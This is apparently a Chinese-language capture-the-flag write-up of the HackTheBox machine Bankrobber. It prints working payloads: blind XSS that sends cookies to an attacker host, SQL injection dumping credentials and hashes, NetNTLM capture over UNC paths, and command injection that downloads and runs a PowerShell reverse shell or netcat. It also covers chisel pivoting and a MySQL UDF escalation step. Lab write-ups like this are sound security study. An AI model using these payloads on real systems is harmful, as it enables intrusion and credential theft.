#XSS #CSRF #SQLInjection

靶机开启后IP为:10.10.10.154

Nmap Scan

TCP协议全部端口

sudo nmap -p- -Pn --min-rate 2000 -v 10.10.10.154 -oA scan/ports
PORT     STATE SERVICE
80/tcp   open  http
443/tcp  open  https
445/tcp  open  microsoft-ds
3306/tcp open  mysql

默认脚本扫描开放端口

sudo nmap -sC -sV -O -p80,443,445,3306 10.10.10.154 -oA scan/detail
PORT     STATE SERVICE      VERSION
80/tcp   open  http         Apache httpd 2.4.39 ((Win64) OpenSSL/1.1.1b PHP/7.3.4)
|_http-title: E-coin
|_http-server-header: Apache/2.4.39 (Win64) OpenSSL/1.1.1b PHP/7.3.4
443/tcp  open  ssl/http     Apache httpd 2.4.39 ((Win64) OpenSSL/1.1.1b PHP/7.3.4)
|_http-server-header: Apache/2.4.39 (Win64) OpenSSL/1.1.1b PHP/7.3.4
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after:  2019-11-08T23:48:47
| tls-alpn: 
|_  http/1.1
|_http-title: E-coin
445/tcp  open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
3306/tcp open  mysql        MariaDB (unauthorized)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|phone|specialized
Running (JUST GUESSING): Microsoft Windows 2008|Phone|7 (89%)
OS CPE: cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows cpe:/o:microsoft:windows_7
Aggressive OS guesses: Microsoft Windows Server 2008 R2 (89%), Microsoft Windows 8.1 Update 1 (86%), Microsoft Windows Phone 7.5 or 8.0 (86%), Microsoft Windows Embedded Standard 7 (85%)
No exact OS matches for host (test conditions non-ideal).
Service Info: Host: BANKROBBER; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_clock-skew: mean: -4m07s, deviation: 0s, median: -4m08s
| smb2-time: 
|   date: 2024-04-19T11:56:12
|_  start_date: 2024-04-19T11:28:13

Web

目录扫描

dirsearch -u http://10.10.10.154/

/user/
/register.php
/js
/admin/

未登录状态访问 user 和 admin 目录提示 You're not authorized to view this page

更换字典和工具再扫一遍。

gobuster dir -t 50 -u http://10.10.10.154 -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -x txt,php -f -r -e -o scan/gobuster_dir_low_medium

http://10.10.10.154/index.php/           (Status: 200) [Size: 8245]
http://10.10.10.154/cgi-bin/             (Status: 403) [Size: 1058]
http://10.10.10.154/img/                 (Status: 200) [Size: 4341]
http://10.10.10.154/register.php/        (Status: 200) [Size: 0]   
http://10.10.10.154/icons/               (Status: 200) [Size: 74798]
http://10.10.10.154/user/                (Status: 200) [Size: 39]
http://10.10.10.154/admin/               (Status: 200) [Size: 40]  
http://10.10.10.154/link.php/            (Status: 200) [Size: 0]   
http://10.10.10.154/css/                 (Status: 200) [Size: 3795]
http://10.10.10.154/js/                  (Status: 200) [Size: 4717]
http://10.10.10.154/examples/            (Status: 503) [Size: 1058]
http://10.10.10.154/logout.php/          (Status: 400) [Size: 980] 
http://10.10.10.154/licenses/            (Status: 403) [Size: 1203]
http://10.10.10.154/error/               (Status: 403) [Size: 1058]
http://10.10.10.154/fonts/               (Status: 200) [Size: 3254]
...

扫描同时打开首页,可以看到两个功能点,注册和登录。

image-20240419201728069

点击会跳转到对应页面位置。登录会想 login.php 发出 POST 请求,注册则是向 register.php 发出 POST 请求。

注册一个账号,然后登录:

test:test

登录后的页面还是一个 form 表单,作用是交易 E-coin。

image-20240419202159195

XSS

尝试 XSS 攻击。

<script>alert('a')</script>
<script>alert('id')</script>
<script>alert('com')</script>

打开 burp 观察请求,只有 comment 中的 payload 被提交了,其他两个字段似乎都被过滤了。

image-20240419202444248

提交后页面提示

image-20240419202422956

Transfer on hold. An admin will review it within a minute. After that he will decide whether the transaction will be dropped or not.

从页面来看,像是 blind xss,所以更换 payload,本地搭建 web server,向本地发出请求。

<script src='http://10.10.16.18'>1</script>

虽然收到了请求,但是不知道是哪个payload成功了

python -m http.server 80                                                                                      
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.154 - - [19/Apr/2024 08:34:18] "GET / HTTP/1.1" 200 -

所以这里细分一下:

// comment
'><script src='http://10.10.16.18/1'>1</script>
"><script src='http://10.10.16.18/2'>2</script>
<script src='http://10.10.16.18/3'>3</script>

等了一会,三个 payload 都可以发出请求。

python -m http.server 80                                                                                      
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.154 - - [19/Apr/2024 08:34:18] "GET / HTTP/1.1" 200 -
10.10.10.154 - - [19/Apr/2024 08:38:14] code 404, message File not found
10.10.10.154 - - [19/Apr/2024 08:38:14] "GET /2 HTTP/1.1" 404 -
10.10.10.154 - - [19/Apr/2024 08:38:14] code 404, message File not found
10.10.10.154 - - [19/Apr/2024 08:38:14] "GET /3 HTTP/1.1" 404 -
10.10.10.154 - - [19/Apr/2024 08:38:14] code 404, message File not found
10.10.10.154 - - [19/Apr/2024 08:38:14] "GET /1 HTTP/1.1" 404 -

这个靶机 cookie 中并没有 http-only 同时 用户名和密码都在cookie中,尝试盗取cookie

  • success
"><script src='http://10.10.16.18/test.js'>2</script>

test.js

new Image().src='http://10.10.16.18/index.php?c='+document.cookie;
/index.php?c=username=YWRtaW4%3D;%20password=SG9wZWxlc3Nyb21hbnRpYw%3D%3D;%20id=1

解码后得到 admin 帐户密码。

admin:Hopelessromantic

失败:

暂不清楚原因

"><script>new Image().src="http://10.10.16.18/cookie.php?c="+document.cookie;</script>
"><script>fetch(`http://10.10.16.18/?cookie=${btoa(document.cookie)}`)</script>

admin

红框处的地方就是提交的 payload

image-20240419212024022

notes.txt

- Move all files from the default Xampp folder: TODO
- Encode comments for every IP address except localhost: Done
- Take a break..

search user

输入 1,显示

image-20240419212233564

burp 查看请求是向 /admin/search.php 发出 POST 请求,参数是 term,尝试SQL注入,成功

term=1' or 1=1 -- -

image-20240419212338815

Backdoorchecker

To quickly identify backdoors located on our server; we implemented this function. For safety issues you’re only allowed to run the ‘dir’ command with any arguments.

输入 dir 提示仅允许 localhost 访问。

It’s only allowed to access this function from localhost (::1). This is due to the recent hack attempts on our server.

尝试添加请求头但是没有效果

X-Forwarded-For: http://localhost/
Origin: localhost
Referer: localhost

notes.txt 中也有提到对除 localhost 之外的每个 IP 地址将进行编码

SQL Injection

curl -b 'Cookie: id=1; username=YWRtaW4%3D; password=SG9wZWxlc3Nyb21hbnRpYw%3D%3D' http://10.10.10.154/admin/search.php --data-urlencode term="1' or 1=1 -- -"

结果如下:

猜测三个字段,测试成功。

curl -b 'Cookie: id=1; username=YWRtaW4%3D; password=SG9wZWxlc3Nyb21hbnRpYw%3D%3D' http://10.10.10.154/admin/search.php --data-urlencode term="' union select 1,2,3 -- -"

basic query

当前数据库用户和数据库名

curl -s -b 'Cookie: id=1; username=YWRtaW4%3D; password=SG9wZWxlc3Nyb21hbnRpYw%3D%3D' http://10.10.10.154/admin/search.php --data-urlencode term="' union select user(),database(),3 -- -" | html2text | tail -n +2

root@localhost bankrobber 

所有数据库

curl -s -b 'Cookie: id=1; username=YWRtaW4%3D; password=SG9wZWxlc3Nyb21hbnRpYw%3D%3D' http://10.10.10.154/admin/search.php --data-urlencode term="' union select @@version,table_schema,3 from information_schema.tables -- -" | html2text | tail -n +2
10.1.38-MariaDB bankrobber
10.1.38-MariaDB information_schema
10.1.38-MariaDB mysql
10.1.38-MariaDB performance_schema
10.1.38-MariaDB phpmyadmin

数据库版本和当前数据库的表,其中users 表最可疑。

curl -s -b 'Cookie: id=1; username=YWRtaW4%3D; password=SG9wZWxlc3Nyb21hbnRpYw%3D%3D' http://10.10.10.154/admin/search.php --data-urlencode term="' union select @@version,table_name,3 from information_schema.tables where table_schema=database() -- -" | html2text | tail -n +2

10.1.38-MariaDB balance
10.1.38-MariaDB hold
10.1.38-MariaDB users

查看这些表的字段

curl -s -b 'Cookie: id=1; username=YWRtaW4%3D; password=SG9wZWxlc3Nyb21hbnRpYw%3D%3D' http://10.10.10.154/admin/search.php --data-urlencode term="' union select column_name,table_name,3 from information_schema.columns where table_schema=database()-- -" | html2text | tail -n +2
id         balance
userid     balance
amount     balance
id         hold
userIdFrom hold
userIdTo   hold
amount     hold
comment    hold
id         users
username   users
password   users

优先查看 users 表的内容

curl -s -b 'Cookie: id=1; username=YWRtaW4%3D; password=SG9wZWxlc3Nyb21hbnRpYw%3D%3D' http://10.10.10.154/admin/search.php --data-urlencode term="' union select username,password,3 from users s-- -" | html2text | tail -n +2

admin Hopelessromantic
gio   gio
test  test

是注册用户名和密码,这已经拿到了。

mysql password

查询数据库的密码:

curl -s -b 'Cookie: id=1; username=YWRtaW4%3D; password=SG9wZWxlc3Nyb21hbnRpYw%3D%3D' http://10.10.10.154/admin/search.php --data-urlencode term="' union select user,password,3 from mysql.user s-- -" | html2text | tail -n +2

root *F435725A173757E57BD36B09048B8B610FF4D0C4
pma
echo '*F435725A173757E57BD36B09048B8B610FF4D0C4' >> database.hash

尝试暴力破解但是没有成功

john -w=/usr/share/wordlists/rockyou.txt database.hash

查看 secure_file_priv,结果为空

curl -s -b 'Cookie: id=1; username=YWRtaW4%3D; password=SG9wZWxlc3Nyb21hbnRpYw%3D%3D' http://10.10.10.154/admin/search.php --data-urlencode term="' union select @@secure_file_priv,2,3 -- -" | html2text | tail -n +2

ID User
   2

load_file

可以直接尝试使用 load_file 函数,首先读取任意文件,读取成功大概率 secure_file_priv 未做限制

curl -s -b 'Cookie: id=1; username=YWRtaW4%3D; password=SG9wZWxlc3Nyb21hbnRpYw%3D%3D' http://10.10.10.154/admin/search.php --data-urlencode term="' union select load_file('C:\\\\windows\\\\win.ini'),2,3 -- -" | html2text | tail -n +2

其次还可以尝试通过 UNC path 窃取 NetNTLM hash

curl -s -b 'Cookie: id=1; username=YWRtaW4%3D; password=SG9wZWxlc3Nyb21hbnRpYw%3D%3D' http://10.10.10.154/admin/search.php --data-urlencode term="' union select load_file('\\\\\\\\10.10.16.18\\\\share'),2,3 -- -"

这里用了8个反斜杠,首先在 bash 命令行双引号中需要一次 转义,四个反斜杠,然后SQL语句中转义一次,省事就直接乘2,可以通过在 curl 添加 -x http://127.0.0.1:8080 在 burp 中调试

impacket-smbserver share `pwd` -smb2support
..
[*] Incoming connection (10.10.10.154,50408)
[*] AUTHENTICATE_MESSAGE (BANKROBBER\Cortin,BANKROBBER)
[*] User BANKROBBER\Cortin authenticated successfully
[*] Cortin::BANKROBBER:aaaaaaaaaaaaaaaa:f5a8ca7409772a1f37d1f4b1fb155160:0101000000000000805bce1a6392da018431b27965174e2700000000010010004e006c007200430070006a004d005800030010004e006c007200430070006a004d00580002001000540063004f0062007a0055004f00440004001000540063004f0062007a0055004f00440007000800805bce1a6392da0106000400020000000800300030000000000000000000000000200000ef0c001cb79ffe216cb2d8a74a026b3c18b12b82c16539a01e0ed5c96dfa47930a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310036002e0031003800000000000000000000000000
[*] Connecting Share(1:share)
[*] Disconnecting Share(1:share)
[*] Closing down connection (10.10.10.154,50408)
[*] Remaining connections []

爆破,同样没有结果。

john -w=/usr/share/wordlists/rockyou.txt Cortin.hash
curl -s -b 'Cookie: id=1; username=YWRtaW4%3D; password=SG9wZWxlc3Nyb21hbnRpYw%3D%3D' http://10.10.10.154/admin/search.php --data-urlencode term="' union select load_file('/xampp/apache/conf/httpd.conf'),2,3 -- -"

查看其他配置文件,但是没有收获。

\xampp\apache\conf\extra\httpd-xampp.conf
\xampp\apache\conf\httpd.conf
conf/extra/httpd-userdir.conf
Include conf/extra/httpd-mpm.conf
Include conf/extra/httpd-multilang-errordoc.conf
Include conf/extra/httpd-autoindex.conf 
Include conf/extra/httpd-languages.conf
Include conf/extra/httpd-userdir.conf                           
Include conf/extra/httpd-info.conf                          
Include conf/extra/httpd-vhosts.conf
Include "conf/extra/httpd-proxy.conf"               
Include "conf/extra/httpd-default.conf"
Include "conf/extra/httpd-xampp.conf"

<IfModule proxy_html_module>                                          
Include conf/extra/proxy-html.conf
</IfModule>
Include conf/extra/httpd-ssl.conf
<IfModule ssl_module>
SSLRandomSeed startup builtin                                         
SSLRandomSeed connect builtin                                         
</IfModule>
AcceptFilter http none                                                
AcceptFilter https none                                     
<IfModule mod_proxy.c>
Include "conf/extra/httpd-ajp.conf"                                   
</IfModule>                                                           
</IfModule>

write_file

还有一种方法,尝试写入 php webshell,但是这种方法需要知道 web 目录绝对路径,这里只能猜测。前面在 notes.txt 中提到了 Xampp,Xampp 的路径一般都是 C:\xampp\htdocs\

echo -n '<?php system($_GET[cmd]);?>' | xxd -u -p
3C3F7068702073797374656D28245F4745545B636D645D293B3F3E

这里在burp中写入

UNION SELECT 3C3F7068702073797374656D28245F4745545B636D645D293B3F3E,'','' INTO OUTFILE '/xampp/htdocs/system.php'

但是报错:

There is a problem with your SQL syntax

而尝试写入 C:\progradmata 目录写入成功,说明当前目录确实没有写入权限。

这里能想到的目录都尝试了,如 user、admin、css、js等都没有成功,所以通过SQL注入写 shell 应该是行不通的。

php file

写入的过程中想到了可以读取 PHP file,同时还能验证绝对路径是否正确,读取成功,路径正确

curl -s -b 'Cookie: id=1; username=YWRtaW4%3D; password=SG9wZWxlc3Nyb21hbnRpYw%3D%3D' http://10.10.10.154/admin/search.php --data-urlencode term="' union select load_file('/xampp/htdocs/index.php'),2,3 -- -"

那这里就是寻找有用的 PHP 文件,然后审计代码。查看 admin 目录下的 php 文件

search.php

curl -s -b 'Cookie: id=1; username=YWRtaW4%3D; password=SG9wZWxlc3Nyb21hbnRpYw%3D%3D' http://10.10.10.154/admin/search.php --data-urlencode term="' union select load_file('/xampp/htdocs/admin/search.php'),2,3 -- -"

对输入未做任何过滤直接放入 SQL 查询语句中,存在 SQL注入漏洞。

<?php 
include('../link.php');
include('auth.php');
if(isset($_POST['term'])){
        $term = $_POST['term'];
        $stmt = $pdo->query("SELECT * from users WHERE id = '$term'") or die("There is a problem with your SQL syntax");
        echo "<table width='90%'><tr><th>ID</th><th>User</th></tr>";
        while($row = $stmt->fetch()){
                echo "
                <tr>
                    <td>$row[0]</td>
                    <td>$row[1]</td>
                 </tr>
                ";
        }
        echo "</table>";
}
?>

backdoorchecker.php

curl -s -b 'Cookie: id=1; username=YWRtaW4%3D; password=SG9wZWxlc3Nyb21hbnRpYw%3D%3D' http://10.10.10.154/admin/search.php --data-urlencode term="' union select load_file('/xampp/htdocs/admin/backdoorchecker.php'),'',3 -- -" | html2text
<?php
include('../link.php');
include('auth.php');
$username = base64_decode(urldecode($_COOKIE['username']));
$password = base64_decode(urldecode($_COOKIE['password']));
$bad      = array('$(','&');
$good     = "ls";

if(strtolower(substr(PHP_OS,0,3)) == "win"){
        $good = "dir";
}
if($username == "admin" && $password == "Hopelessromantic"){
        if(isset($_POST['cmd'])){
                        // FILTER ESCAPE CHARS
                        foreach($bad as $char){
                                if(strpos($_POST['cmd'],$char) !== false){
                                        die("You're not allowed to do that.");
                                }
                        }
                        // CHECK IF THE FIRST 2 CHARS ARE LS
                        if(substr($_POST['cmd'], 0,strlen($good)) != $good){
                                die("It's only allowed to use the $good command");
                        }
                        if($_SERVER['REMOTE_ADDR'] == "::1"){
                                system($_POST['cmd']);
                        } else{
                                echo "It's only allowed to access this function from localhost (::1).<br> This is due to the recent hack attempts on our server.";
                        }
        }
} else{
        echo "You are not allowed to use this function!";
}
?>

查看过滤手段

$good = "dir";
substr($_POST['cmd'], 0,strlen($good)) != $good

切割字符串只判断前3位是否为dir,所以只要以 dir 开头就能绕过。

$_SERVER[‘REMOTE_ADDR’] == “::1” 这个似乎是无法伪造的

auth.php

curl -s -b 'Cookie: id=1; username=YWRtaW4%3D; password=SG9wZWxlc3Nyb21hbnRpYw%3D%3D' http://10.10.10.154/admin/search.php --data-urlencode term="' union select load_file('/xampp/htdocs/admin/auth.php'),'',3 -- -"

认证文件,将用户名密码硬编码在文件中,证明确实是 cookie 传值。

<?php
error_reporting(0);
$username = base64_decode(urldecode($_COOKIE['username']));
$password = base64_decode(urldecode($_COOKIE['password']));
if($username != "admin" || $password != "Hopelessromantic"){
        die("You're not authorized to view this page");
}
?>

link.php

curl -s -b 'Cookie: id=1; username=YWRtaW4%3D; password=SG9wZWxlc3Nyb21hbnRpYw%3D%3D' http://10.10.10.154/admin/search.php --data-urlencode term="' union select load_file('/xampp/htdocs/link.php'),'',3 -- -"

其中有数据库的凭据

<?php
$user = 'root';
$pass = 'Welkom1!';
$dsn = "mysql:host=127.0.0.1;dbname=bankrobber;";
$pdo = new PDO($dsn,$user,$pass);
function echoBalance($pdo){
        $pdo = $pdo;
        if(isset($_COOKIE['id'])){
                $stmt = $pdo->prepare("SELECT amount FROM balance where userId = ?");
                $stmt->execute([$_COOKIE['id']]);
                while($row = $stmt->fetch()){
                    return $row[0];
                }
        }
}
?>
mysql -uroot -p'Welkom1!' -h 10.10.10.154
ERROR 1130 (HY000): Host '10.10.16.18' is not allowed to connect to this MariaDB server

无法连接。

XSS + CSRF

backdoorchecker.php 要求 $_SERVER[‘REMOTE_ADDR’] == “::1”,从外部显然不可能,REMOTE_ADDR这个值也不可能伪造,只有内网访问 localhost 才会解析成 “::1”,ipv6 要优先于 ipv4。

内网访问我想到了 CSRF,恰好靶机会定期触发 XSS 漏洞,在获取 cookie 的位置构造恶意请求,使管理员帮助我们执行命令。

因为 XSS 没有回显,所以还是本地搭建 web server,让靶机发出请求,但是没有成功。这里使用 XMLHttpRequest 对象发出 POST 请求。

"><script>
var req = new XMLHttpRequest();
req.open('post','/admin/backdoorchecker.php',true);
req.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
req.send('cmd=dir;curl http://10.10.16.18:81');
</script>

这里尝试很多种payload 但是没有记录下来,简单记录下心路历程,思考过程。最开始像前面获取 cookie 那样用的加载远程 js 文件攻击,但是没有成功,后来开窍了可以直接在输入框中写入。

尝试的过程存在几个问题,第一用 curl,第二用 ; 分隔多个命令。

首先用 curl 存在问题,因为靶机是 Windows 2008 不一定内置 curl。

其次 windows cmd 中分号 ; 并不能执行多个命令,结合 backdoorchecker.php 文件中的过滤,& 不能使用,尝试换行符 %0a 也没效果,所以只能使用 ||。而 || 在前一个命令失败时才能执行下一个命令。

另外还需要确定 XSS 是否真的成功执行命令,这个很重要,只有确定执行命令然后才能注入其他命令。

"><script>
var req = new XMLHttpRequest();
req.open('post','/admin/backdoorchecker.php',true);
req.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
req.send('cmd=dir>/programdata/test');
</script>

这段时间测试的时候一直不能收到靶机的请求,想到可以测试 dir 命令是否被成功执行,先将命令结果写入到文件,然后利用 SQL注入 读取该文件,如果成功则命令执行成功。

成功读取到文件后,尝试命令注入:

先测试第二个命令是否被成功执行,这里我想查看web目录结构,想找找可能可以写入的目录,但是失败了,没找到原因,

"><script>
var req = new XMLHttpRequest();
req.open('post','/admin/backdoorchecker.php',true);
req.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
req.send('cmd=dirs||dir /s C:\\xampp\\htdocs>/programdata/test2');
</script>

这里尝试的思路就是频繁更换命令,这个失败:

"><script>
var req = new XMLHttpRequest();
req.open('post','/admin/backdoorchecker.php',true);
req.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
req.send('cmd=dir /s /xmapp/htdocs >/programdata/test');
</script>

这个命令本地试了,cmd 中似乎不能使用 / 当作路径分隔符,会被当作参数

在这里我想到了 curl 失败的原因,就尝试了 certutil

"><script>
var req = new XMLHttpRequest();
req.open('post','/admin/backdoorchecker.php',true);
req.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
req.send('cmd=dirsasd||certutil -urlcache -f http://10.10.16.18');
</script>

成功收到请求

image-20240420194100911

然后尝试ping

"><script>
var req = new XMLHttpRequest();
req.open('post','/admin/backdoorchecker.php',true);
req.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
req.send('cmd=dirsasd||ping 10.10.16.18');
</script>

ping 命令可以

image-20240420194543455

powershell WebClient.DownloadString 方法同样成功。

"><script>
var req = new XMLHttpRequest();
req.open('post','/admin/backdoorchecker.php',true);
req.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
req.send("cmd=dirsasd||powershell (new-object net.webclient).downloadstring('http://10.10.16.18')");
</script>

其他尝试:

"><script src='http://10.10.16.18/cs.js'>2</script>

form 表单构造的 POST 请求尝试失败并未成功。

"><form  id="autosubmit" action="http://localhost/admin/backdoorchecker.php" method="POST"><input type="hidden" name="cmd" value="dir&#10;curl&#32;http&#58;&#47;&#47;10&#46;10&#46;16&#46;18" /><input type="submit" value="Submit request" /></form><script>document.getElementById("autosubmit").submit();</script>
"><form  id="autosubmit" action="http://localhost/admin/backdoorchecker.php" method="POST"><input type="hidden" name="cmd" value="dir%25%30%61curl http://10.10.16.18" /><input type="submit" value="Submit request" /></form><script>document.getElementById("autosubmit").submit();</script>

"><form  id="autosubmit" action="http://localhost/admin/backdoorchecker.php" method="POST"><input type="hidden" name="cmd" value="dirasdas||ping 10.10.16.18" /><input type="submit" value="Submit request" /></form><script>document.getElementById("autosubmit").submit();</script>

reverse shell

可以执行命令首先还是最好反弹shell,使用 nishang 或者 nc,用 nc 需要先下载 nc 到靶机然后再反弹shell,

nishang

cp /usr/share/nishang/Shells/Invoke-PowerShellTcp.ps1 shell.ps1
echo 'Invoke-PowerShellTcp -Reverse -IPAddress 10.10.16.18 -Port 1234' >> shell.ps1

替换关键字做一个简单的混淆:

sed -i 's/Invoke-PowerShellTcp/test/g' shell.ps1
"><script>
var req = new XMLHttpRequest();
req.open('post','/admin/backdoorchecker.php',true);
req.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
req.send("cmd=dirsasd||powershell iex(new-object net.webclient).downloadstring('http://10.10.16.6/shell.ps1')");
</script>

等待一段时间获得 shell。

nc

下载 nc 到当前目录

"><script>
var req = new XMLHttpRequest();
req.open('post','/admin/backdoorchecker.php',true);
req.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
req.send('cmd=dirsasd||certutil -urlcache -f http://10.10.16.18/nc.exe C:\\programdata\\nc.exe');
</script>

下载到本地需要一段时间而 nc 执行可能会比下载完成更快,所以还是先下载然后再反弹shell。

"><script>
var req = new XMLHttpRequest();
req.open('post','/admin/backdoorchecker.php',true);
req.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
req.send('cmd=dirsasd||C:\\programdata\\nc.exe -e cmd 10.10.16.18 4545');
</script>

Priv

Scantools

上传 winpeas 枚举

winpeas
php -S 0:81
iwr http://10.10.16.18:81/winPEASany_ofs.exe -outfile \programdata\winPEASany_ofs.exe

certutil -urlcache -f http://10.10.16.18:81/winPEASx64.exe \programdata\winPEASx64.exe
\programdata\winPEASx64.exe > \programdata\win.txt

但是运行时间比较长,等一段时间 win.txt 很大,遂杀掉进程

image-20240420225553757

winpeas 可以指定信息

.\winPEASx64.exe systeminfo servicesinfo applicationsinfo browserinfo filesinfo userinfo
 [!] CVE-2019-0836 : VULNERABLE
  [>] https://exploit-db.com/exploits/46718
  [>] https://decoder.cloud/2019/04/29/combinig-luafv-postluafvpostreadwrite-race-condition-pe-with-diaghub-collector-exploit-from-standard-user-to-system/

 [!] CVE-2019-1064 : VULNERABLE
  [>] https://www.rythmstick.net/posts/cve-2019-1064/

 [!] CVE-2019-1130 : VULNERABLE
  [>] https://github.com/S3cur3Th1sSh1t/SharpByeBear

 [!] CVE-2019-1315 : VULNERABLE
  [>] https://offsec.almond.consulting/windows-error-reporting-arbitrary-file-move-eop.html

 [!] CVE-2019-1388 : VULNERABLE
  [>] https://github.com/jas502n/CVE-2019-1388

 [!] CVE-2019-1405 : VULNERABLE
  [>] https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2019/november/cve-2019-1405-and-cve-2019-1322-elevation-to-system-via-the-upnp-device-host-service-and-the-update-orchestrator-service/
  [>] https://github.com/apt69/COMahawk

 [!] CVE-2020-0668 : VULNERABLE
  [>] https://github.com/itm4n/SysTracingPoc

 [!] CVE-2020-0683 : VULNERABLE
  [>] https://github.com/padovah4ck/CVE-2020-0683
  [>] https://raw.githubusercontent.com/S3cur3Th1sSh1t/Creds/master/PowershellScripts/cve-2020-0683.ps1

 [!] CVE-2020-1013 : VULNERABLE
  [>] https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/

 [*] Finished. Found 9 potential vulnerabilities.

image-20240421002024812

Powerup.ps1

python -m http.server 81 -d /usr/share/powershell-empire/empire/server/data/module_source/privesc/
iex(new-object Net.webclient).downloadstring('http://10.10.16.18:81/PowerUp.ps1')
Invoke-AllChecks

Kan Service Control Manager op de computer . niet openen. Hiervoor zijn wellicht andere bevoegdheden vereist

Manual Enum

根目录下 bankv2.exe 文件比较可疑,下载到本地

PS C:\> dir

    Directory: C:\

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        24-4-2019     21:27                PerfLogs
d-r---       21-10-2022     10:32                Program Files
d-r---       21-10-2022     10:34                Program Files (x86)
d-r---        24-4-2019     15:52                Users
d-----        11-1-2021     15:17                Windows
da----        24-4-2019     21:18                xampp
-a----        25-4-2019     16:50          57937 bankv2.exe
impacket-smbserver share `pwd` -smb2support -user test -pass test
net use \\10.10.16.18\share /u:test test

copy \bankv2.exe \\10.10.16.18\share\bankv2.exe

bankv2.exe 似乎被占用,因为当前机器语言不是英文,报错看不明白。

查看开放端口

netstat -anto -p tcp

Active Connections

  Proto  Local Address          Foreign Address        State           PID      Offload State

  TCP    0.0.0.0:80             0.0.0.0:0              LISTENING       3460     InHost      
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING       760      InHost      
  TCP    0.0.0.0:443            0.0.0.0:0              LISTENING       3460     InHost      
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING       4        InHost      
  TCP    0.0.0.0:910            0.0.0.0:0              LISTENING       1632     InHost      
  TCP    0.0.0.0:3306           0.0.0.0:0              LISTENING       3488     InHost      
  TCP    0.0.0.0:49664          0.0.0.0:0              LISTENING       480      InHost      
  TCP    0.0.0.0:49665          0.0.0.0:0              LISTENING       912      InHost      
  TCP    0.0.0.0:49666          0.0.0.0:0              LISTENING       864      InHost      
  TCP    0.0.0.0:49667          0.0.0.0:0              LISTENING       1512     InHost      
  TCP    0.0.0.0:49668          0.0.0.0:0              LISTENING       608      InHost      
  TCP    0.0.0.0:49669          0.0.0.0:0              LISTENING       616      InHost      
  TCP    10.10.10.154:80        10.10.16.18:56142      TIME_WAIT       0        InHost      
  TCP    10.10.10.154:80        10.10.16.18:56148      TIME_WAIT       0        InHost      
  TCP    10.10.10.154:80        10.10.16.18:56858      TIME_WAIT       0        InHost      
  TCP    10.10.10.154:139       0.0.0.0:0              LISTENING       4        InHost      
  TCP    10.10.10.154:51077     10.10.16.18:1234       ESTABLISHED     4300     InHost      
  TCP    10.10.10.154:51089     10.10.16.18:1234       ESTABLISHED     2624     InHost      
  TCP    127.0.0.1:3306         127.0.0.1:51074        ESTABLISHED     3488     InHost      
  TCP    127.0.0.1:3306         127.0.0.1:51087        ESTABLISHED     3488     InHost      
  TCP    127.0.0.1:51074        127.0.0.1:3306         ESTABLISHED     3608     InHost      
  TCP    127.0.0.1:51087        127.0.0.1:3306         ESTABLISHED     3608     InHost      
  TCP    127.0.0.1:51156        127.0.0.1:3306         TIME_WAIT       0        InHost      
  TCP    127.0.0.1:51157        127.0.0.1:3306         TIME_WAIT       0        InHost      
  TCP    127.0.0.1:51158        127.0.0.1:3306         TIME_WAIT       0        InHost

保存一个不是本机用户的凭据:

cmdkey /list

Currently stored credentials:

    Target: WindowsLive:target=virtualapp/didlogical
    Type: Generic 
    User: 02qanreinoqz
    Local machine persistence

kernel

内核提权失败

CVE-2019-1405 and CVE-2019-1322

proxychains wget https://github.com/apt69/COMahawk/releases/download/1.0/COMahawk64.exe
curl http://10.10.16.18/COMahawk64.exe -outfile .\COMahawk64.exe

failed

pivot

wget https://github.com/jpillora/chisel/releases/download/v1.9.1/chisel_1.9.1_windows_amd64.gz

上传 chisel

curl http://10.10.16.6:8081/chisel.exe -outfile \programdata\chisel.exe

kali:

chisel server -p 9999 --reverse

victim:

在后台运行

start-process "\programdata\chisel.exe" -ArgumentList "client 10.10.16.6:9999 R:9050:socks R:3306:127.0.0.1:3306 R:910:127.0.0.1:910" -WindowStyle Hidden
mysql -uroot -p'Welkom1!' -h127.0.0.1
MariaDB [bankrobber]> show variables like '%plugin_dir%';
+---------------+----------------------------+
| Variable_name | Value                      |
+---------------+----------------------------+
| plugin_dir    | C:\xampp\mysql\lib\plugin\ |
+---------------+----------------------------+
1 row in set (0.091 sec)
MariaDB [bankrobber]> show variables like "secure_file_priv";
+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| secure_file_priv |       |
+------------------+-------+
1 row in set (0.180 sec)

C:\xampp\mysql\ 下没有 lib 目录需要创建。

mkdir C:\xampp\mysql\lib\plugin\

udf

cp /home/kali/Documents/HTBox/office/lib_mysqludf_sys_64.dll .
curl http://10.10.16.6/lib_mysqludf_sys_64.dll -o \programdata\udf64.dll
SELECT load_file('C:\\programdata\\udf64.dll') INTO DUMPFILE '/xampp/mysql/lib/plugin/udf.dll'
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
